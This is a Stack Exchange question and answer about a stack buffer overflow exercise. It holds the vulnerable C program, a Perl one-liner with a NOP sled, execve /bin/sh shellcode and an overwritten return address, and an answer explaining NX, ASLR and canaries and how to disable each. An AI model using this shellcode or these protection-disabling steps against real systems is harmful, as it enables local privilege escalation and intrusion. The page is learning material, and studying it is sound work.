Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I want to exploit a stack based buffer overflow for education purposes.There is a typical function called with a parameter from main which is given as input from the program and a local buffer where the parameter is saved.Given an input such that nops+shellcode+address_shellcode i will exploit it.After debugging with gdb i found the address of the shellcode as it will pass as a parameter and right after the strcpy i examine the stack and the $ebp+8 which is the return address has succefully overwriten with the address of the shellcode.So i have what i want.But when i stepped forward the execution i got:

->shellcode_address in ?? ()

and then

Cannot find bound of current function

The return address has the value that i want. Any ideas what is happening? Also when i execute it i got a segmentation fault and i have compile it with -g -fno-stack-protector

Here is the code:

void echo(char *s, unsigned int length, long int a, short b)
{
  unsigned char len = (unsigned char) l;
  char errormsg[] = "bla bla bla\n";
  char buf[250] = "You typed: ";

  strcat(buf+11, s);


  fprintf(stdout, "%s\n", buf);



int main(int argc, char **argv)
{
  gid_t r_gid, e_gid;

  /* check arguments */
  if (argc != 2) {
    fprintf(stderr, "please provide one argument to echo\n");
    return 1;
  }


  /* clear environment */
  clearenv();
  setenv ("PATH", "/bin:/usr/bin:/usr/local/bin", 1);
  setenv ("IFS", " \t\n", 1);


  /* temporarily drop privileges */
  e_gid = getegid();
  r_gid = getgid();
  setregid(e_gid, r_gid);


  /* call the echo service */
  echo(argv[1], strlen(argv[1]), 0xbccb3423, 323);

  return 0;
}

I found out with gdb that if you overwrite 309 bytes then you will exactly overwrite the return address with the last 4 bytes of your input which is exactly what we want. So since the shell code is 45 bytes long we want sth like : \x90 x 260 . "shellcode" . 4bytes address (260+45+4=309)

To find the address of the first parameter of the function i run several times gdb with input a 309 bytes long string and the address was always the same: 0x5ffff648

So if i append an address(reverse order i.e:0xabcdefgh - > \xgh\xef\xcd\xab) which is higher where the parameter points to, the processor will fall in a NOP command, doing nothing until it reaches the shellcode I end up with this: r perl -e 'print ("\x90" x 260 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x3e\xf8\xff\x5f")'

share|improve this question
    
Post the code perhaps? –  Jeff Ferland Jan 5 '12 at 17:28
    
Have you disabled ASLR? –  Rook Jan 5 '12 at 19:04
    
@Rook yes...... –  curious Jan 5 '12 at 20:01
    
@curious The core dump should tell you why it crashed, such as if there was a access violation before it returned. This could be caused by corrupting a pointer higher up on the stack. By looking at the EIP at the time of the crash and the data on the stack you can see if it made the jmp to your nop sled or not, it could also have choked on your shellcode... I think you should spend some more time with your debugger. –  Rook Jan 5 '12 at 21:32
    
But i am executing the program step by step and the problem is that somewhat it does not recognize the address of the nops and it doesn't jmp there as i posted.At the point before the jmp the ret address has the address of the nops.i just typed i frame and the saved eip has the value that i want and next i got this [address] ?? () –  curious Jan 6 '12 at 3:32
show 5 more comments

1 Answer

Memory is just a huge sequence of bytes. When gdb wants to show you "where" you are, it likes to guess of what "function" the currently executed opcode is part, so that it may write it ("you are in main(), line 17"). To do that, gdb must use some extra information, such as:

  • symbol tables, which tell where each function begins in the executable file, and possibly their size;
  • debug information (added by gcc with the '-g' flag);
  • heuristic analysis of the code chunk, to detect the hallmarks of classic function prologue ("push %ebp; movl %esp, %ebp", aka 0x55 0x89 0xE5) and ending ("ret", 0xC3).

Your "shell code", when in RAM (in the stack), is not in a part which is mapped from the executable file (it is in the stack, instead) and, anyway, was not seen by the compiler, so it is not covered by neither symbol tables or any debugging information. It is also a quite atypical piece of code, with no prologue (the prologue is about preparing the stack so that argument can be retrieved, and the stack cleaned upon exit) and no ending either: the "shell code" does an execve() system call, so it does not care about keeping the stack clean or ever returning. Hence it is no wonder that gdb cannot find where the "function" he jumped in is supposed to begin or end.


Your segmentation fault is quite another matter. My guess is that the pages containing the stack are marked as non-executable, so when jumping to the "shell code", the kernel traps, and kills the offending process. There are several protection mechanisms related to buffer overflows in a Linux system (I assume you are using Linux):

  • The stack can be marked as "non executable". On x86 32-bit processors, this can be achieved with segments (a remnant from older times) or through the MMU (either with the NX bit, on machines which support it, or with some TLB ninjitsu), or both.

  • Address Space Layout Randomization modifies addresses of the various elements of an application, in a random way, upon each execution. This makes it much harder for the attacker to guess what will be the value he wants to store (through a buffer overflow) over the "return address" slot. The non-executable stack means that the exploit will have to jump to some existing piece of code (e.g. the libc code), not to some emplacement in the stack; ASLR moves libc around to make hit a hard target.

  • The code generated by the compiler may include safeguards against accepting the buffer overflow itself. Recent versions of gcc will generate some extra hidden code which verifies whether a buffer overflow occurred before doing the fateful ret. Basically, a "canary" random value is stored upon function entry just before the "return address" slot; a buffer overflow from a local variable, in order to touch the return address, would have to "go over" the canary, and (with high probability) will change its value. The code generated by gcc will check the canary, and abort the process if its value has changed, before returning from the function.

By compiling with -fno-stack-protector, you deactivate the canary code (gcc did not include the canary code in the produced executable). By using sysctl -w kernel.randmoize_va_space=0, you deactivate ASLR (machine-wide). My guess is that the first system (non-executable stack pages) is still active on your machine, hence the segfault. You could try deactivating the NX-bit handling for the stack of your executable by using the execstack command (it seems not to be part of a usual Ubuntu installation; install the "execstack" package to obtain it).

share|improve this answer
1  
+1 pretty good, I think its the nx bit because it crashes when he hits the nop sled. He is able to make the jump so its not a canary and aslr is pretty obvious when you trying to determine a good return address. –  Rook Jan 6 '12 at 18:03
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.